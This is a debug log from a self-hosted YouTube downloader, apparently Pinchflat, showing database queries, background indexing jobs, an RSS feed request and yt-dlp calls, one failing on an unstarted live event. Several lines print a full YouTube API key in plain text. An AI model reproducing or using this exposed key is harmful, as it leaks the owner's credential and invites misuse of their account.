"AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 17:25:48.645 [debug] QUERY OK source="media_items" db=0.4ms idle=270.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:25:48.646 [debug] QUERY OK source="tasks" db=0.1ms idle=270.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268474, 43, ~U[2026-10-09 22:25:48Z], ~U[2026-10-09 22:25:48Z]] 17:25:48.646 [info] {"args":{"id":43},"id":5268435,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":272196,"event":"job:stop","queue_time":649615,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:48.653 [info] {"args":{"id":23},"id":5268436,"meta":{},"system_time":1791584748653237773,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:48.653 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:25:48.653 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.654 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:48.654 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.654 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:25:48.654 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:48.654 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:48.780 [debug] QUERY OK source="media_items" db=0.6ms idle=125.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 17:25:48.781 [debug] QUERY OK source="media_items" db=0.2ms idle=127.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:25:48.781 [debug] QUERY OK source="tasks" db=0.1ms idle=127.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268475, 23, ~U[2026-10-09 22:25:48Z], ~U[2026-10-09 22:25:48Z]] 17:25:48.782 [info] {"args":{"id":23},"id":5268436,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128732,"event":"job:stop","queue_time":697208,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:00.451 [info] {"source":"oban","duration":93,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:06.507 [info] GET /sources/d22f5c77-f457-445b-98f3-40ec44dd3036/feed.xml 17:26:06.507 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d22f5c77-f457-445b-98f3-40ec44dd3036"} Pipelines: [:maybe_basic_auth] 17:26:06.507 [debug] QUERY OK source="sources" db=0.0ms idle=160.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d22f5c77-f457-445b-98f3-40ec44dd3036"] 17:26:06.509 [debug] QUERY OK source="media_items" db=1.1ms idle=161.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [28, 2000] 17:26:06.514 [debug] QUERY OK source="source_metadata" db=0.0ms idle=167.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [28] 17:26:06.514 [debug] QUERY OK source="media_metadata" db=0.0ms idle=167.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577900] 17:26:06.514 [info] Sent 200 in 6ms 17:26:15.970 [info] {"source":"oban","duration":9729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:16.405 [info] {"args":{"id":19},"id":5268437,"meta":{},"system_time":1791584776405690673,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:16.406 [debug] QUERY OK source="sources" db=0.1ms idle=58.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:26:16.406 [debug] QUERY OK source="settings" db=0.1ms idle=59.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.406 [debug] QUERY OK source="media_profiles" db=0.1ms idle=59.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:16.406 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.406 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:26:16.406 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.406 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:16.593 [debug] QUERY OK source="media_items" db=0.8ms idle=186.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 17:26:16.593 [debug] QUERY OK source="settings" db=0.0ms idle=187.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.594 [debug] QUERY OK source="settings" db=0.1ms idle=187.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.594 [debug] Running yt-dlp command for action: get_media_attributes 17:26:16.594 [debug] QUERY OK source="settings" db=0.1ms idle=187.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.594 [debug] QUERY OK source="settings" db=0.0ms idle=187.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.594 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:16.594 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c9/8d/c98dd8828f4f9964ee6fff1d49f4c0df2662b3ac4e1fa49b1a4866d24960168a.json --sleep-requests 80 --sleep-interval 79 --sleep-subtitles 66 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:26:29.900 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ea/28/ea285b97d4d70f275b93e49e9dd071ec3a49dffbc4c973325727a8149f37033b.json --sleep-requests 68 --sleep-interval 71 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 17:26:29.900 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 17:26:29.901 [debug] QUERY OK source="media_items" db=0.2ms idle=1553.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:26:29.902 [debug] QUERY OK source="tasks" db=0.1ms idle=1490.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268476, 42, ~U[2026-10-09 22:26:29Z], ~U[2026-10-09 22:26:29Z]] 17:26:29.902 [info] {"args":{"id":42},"id":5268411,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":69557931,"event":"job:stop","queue_time":111428,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:45.980 [info] {"source":"oban","duration":9811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.452 [info] {"source":"oban","duration":83,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:15.989 [info] {"source":"oban","duration":7253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:27:31.480 [info] {"args":{"id":36},"id":5268438,"meta":{},"system_time":1791584851480229120,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:31.480 [debug] QUERY OK source="sources" db=0.1ms idle=133.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:27:31.481 [debug] QUERY OK source="settings" db=0.5ms idle=133.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.481 [debug] QUERY OK source="media_profiles" db=0.1ms idle=134.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:31.481 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.481 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:27:31.481 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:31.481 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:31.718 [debug] QUERY OK source="media_items" db=0.7ms idle=237.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 17:27:31.720 